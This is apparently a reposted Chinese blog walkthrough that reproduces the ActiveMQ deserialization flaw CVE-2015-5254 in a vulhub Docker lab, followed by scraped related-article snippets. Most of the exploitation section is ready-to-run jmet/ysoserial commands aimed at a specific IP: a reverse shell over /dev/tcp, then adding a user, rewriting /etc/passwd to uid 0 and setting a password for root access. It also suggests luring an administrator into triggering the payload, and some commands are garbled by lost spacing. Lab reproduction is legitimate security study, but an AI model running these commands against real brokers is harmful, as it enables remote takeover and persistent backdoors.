ActiveMQ反序列化漏洞(CVE-2015-5254)复现
0x00 漏洞前言
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。
0x01 漏洞环境
1.在ubuntu16.04下安装docker/docker-compose:
# 安装pip curl -s https://bootstrap.pypa.io/get-pip.py | python3 # 安装最新版docker curl -s https://get.docker.com/ | sh # 启动docker服务 service docker start # 安装compose pip install docker-compose # 下载项目 wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip unzip vulhub-master.zip cd vulhub-master # 进入某一个漏洞/环境的目录cd activemq/CVE-2015-5254/ # 自动化编译环境 docker-compose build
2.运行漏洞环境:
docker-compose up -d
环境运行后,将监听61616和8161两个端口其中61616是工作端口,消息在这个端口进行传递; 8161是网络管理页面端口访问http://your-ip:8161即可看到网络管理页面,不过这个漏洞理论上是不需要网络的。
使用浏览器直接访问activemq,查看是否部署完毕
http://45.32.101.90:8161/admin/(默认的用户名/密码为admin/admin)
0x02 漏洞复现
1.漏洞利用过程如下:
a.构造(可以使用ysoserial)可执行命令的序列化对象
b.作为一个消息,发送给目标61616端口
c.访问的Web管理页面,读取消息,触发漏洞
2.使用jmet进行漏洞利用:
首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。
cd /optwget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar mkdir external
3.执行命令
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 45.32.101.90 61616
4.此时会给目标的ActiveMQ添加一个名为事件的队列,可以我们通过http://45.32.101.90:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息:
5.点击查看这条消息即可触发命令执行
6.此时进入容器
docker exec -it cc0e9385f975 /bin/bash
7.可看到/ tmp /已成功创建,说明漏洞利用成功:
8.反弹shell:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/45.32.101.90/12340>&1" -Yp ROME45.32.101.90 61616
远程主机监听1234端口:
nc -lvvp 1234
即可看到反弹是shell:
值得注意的是,通过网络管理页面访问消息并触发漏洞这个过程需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接以触发,或者伪装成其他合法服务需要的消息,等待客户端访问的时候触发。
9.添加用户
执行jmet的命令添加test用户并将其添加到root组,返回http://192.168.221.185:8161/admin/browse.jsp?JMSDestination=event页面,点击一下消息,触发它:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "useradd -g root -s /bin/bash -u 10010 test" -Yp ROME 45.32.101.90 61616
让我们再将passwd中的test的uid修改为0,使它拥有root权限,返回http://192.168.221.185:8161/admin/browse.jsp?JMSDestination=event页面,点击一下消息,触发它。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "sed -i "s/test:x:10010/test:x:0/g" /etc/passwd" -Yp ROME 45.32.101.90 61616
让我们再为test用户设置一个密码,返回http://192.168.221.185:8161/admin/browse.jsp?JMSDestination=event页面,点击一下消息,触发它。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "echo "test:sd123456" | chpasswd" -Yp ROME 45.32.101.90 61616
到此为止,一个权限为root,密码为123456的用户即创建完毕。我们可以使用ssh直接远程登陆进入操作系统,并且还是最高权限。
0x03 参考链接
https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf
转载于:https://www.cnblogs.com/backlion/p/9970516.html
ActiveMQ反序列化漏洞(CVE-2015-5254)复现相关推荐
- XStream 反序列化漏洞 (CVE-2020-26258 26259) 的复现与分析
聚焦源代码安全,网罗国内外最新资讯! Xstream 是 Java 类库,用来将对象序列化成 XML (JSON) 或反序列化为对象.XStream 是一款开源软件,允许在 BSD 许可证的许可下分 ...
- shiro反序列化漏洞的原理和复现
一.shiro简介 Shiro是一个强大的简单易用的Java安全框架,主要用来更便捷的认证,授权,加密,会话管理.Shiro首要的和最重要的目标就是容易使用并且容易理解. 二.shiro的身份认证工作 ...
- java反序列化漏洞:2015年被低估的“破坏之王”
近日,2015年最为被低估的,具有巨大破坏力的漏洞浮出水面.在FoxGlove Security安全团队的@breenmachine 发布一篇博客中介绍了该漏洞在最新版的WebLogic.WebSph ...
- yii反序列化漏洞复现及利用
yii反序列化漏洞 Yii框架 Yii 是一个适用于开发 Web2.0 应用程序的高性能PHP 框架. Yii 是一个通用的 Web 编程框架,即可以用于开发各种用 PHP 构建的 Web 应用. 因 ...
- APACHE OFBIZ XML-RPC 反序列化漏洞 (CVE-2020-9496) 的复现与分析
聚焦源代码安全,网罗国内外最新资讯! 1.1 状态 完成漏洞挖掘条件分析.漏洞复现. 1.2 简介 相关的重点类和方法: org.apache.xmlrpc.parser.SerializableP ...
- 【序列化】UNSAFE_DESERIALIZATION 不安全的反序列化和反序列化漏洞
文章目录 Unsafe Deserialization 反序列化漏洞 背景 认识Java序列化与反序列化 用途 应用场景 Java中的API实现: 序列化基础类型参数 序列化对象 漏洞是怎么来的呢? ...
- YAML出现严重的反序列化漏洞,谷歌TensorFlow将采用 JSON
聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 由谷歌开发的基于 Python 的开源机器学习和人工智能项目 TensorFlow 放弃对 YAML 的支持,以修复严重的代码执行漏洞. YAM ...
- Java 安全之反序列化漏洞
1.序列化与反序列化: 序列化与反序列化对于 Java 程序员来说,应该不算陌生了,序列化与反序列化简单来说就是 Java 对象与数据之间的相互转化. 那么对于完全面向对象的 Java 语言来说为什么 ...
- 利用Vulnhub复现漏洞 - JBoss JMXInvokerServlet 反序列化漏洞
JBoss JMXInvokerServlet 反序列化漏洞 Vulnhub官方复现教程 漏洞原理 复现过程 启动环境 端口设置 浏览器设置 BurpSuit设置 复现漏洞 序列化数据生成 发送POC ...
最新文章
- [网络流24题-7]圆桌问题
- itest听力答案2020_itest大学英语3测试答案
- DirectShow组件原理分析及应用
- Java预科篇2-环境搭建
- python---如何用Python实现iPhone X的人脸解锁功能?
- oem718d 基准站设置_千寻cors账号参数设置完成,RTK手簿显示浮动或单点伪距,能不能进行测量?...
- Linux基础——怎么样用 TeamViewer 和 VNC 从远程控制电脑
- 高通:蓝牙5.0将可同时连接两个设备
- C#语法基础(三)----窗体设计
- 蚂蚁可信原生负责人入选“2021年度全球青年领袖”名单
- 求n的阶乘的算法框图_VB求阶乘1/1!+1/2!+1/3!+.....+1/n!之和问题解决
- 教你从redhat官网获取ISO镜像
- 华为手机遮挡html页面,手机知识:华为手机老是显示屏幕被遮挡
- 工作总结10:毕业这一年的收获
- 手机怎么压缩gif动图大小?推荐一款gif压缩的工具
- 真无线蓝牙耳机哪个音质最好?2021入门级蓝牙耳机排行榜!
- 一篇网络流的好blog
- 滴滴抢单 java_今天我体验了下传说估值100亿美金的「滴滴拉屎」App,出门再也不愁找厕所了...
- 【论文写作】——设置正文和标题格式
- 疯子的匣子_人工智能扮演``疯子''来像孩子一样学习语法
热门文章
- matlab图片取模程序,彩屏图像取模,BMP图像提取程序示例 | 学步园
- php 循环队列,队列和循环队列-php数组
- 【Pytorch神经网络实战案例】27 MaskR-CNN内置模型实现语义分割
- python cpu_python 让cpu满载
- python 清除字符串中的 emoji 表情
- LeetCode 1178. 猜字谜(状态压缩+枚举二进制子集+哈希)
- LeetCode 1674. 使数组互补的最少操作次数(差分思想)
- LeetCode 492. 构造矩形
- 剑指Offer - 面试题53 - I. 在排序数组中查找数字 I(二分查找的变形版本)
- 会理天气预报软件测试,会理天气预报15天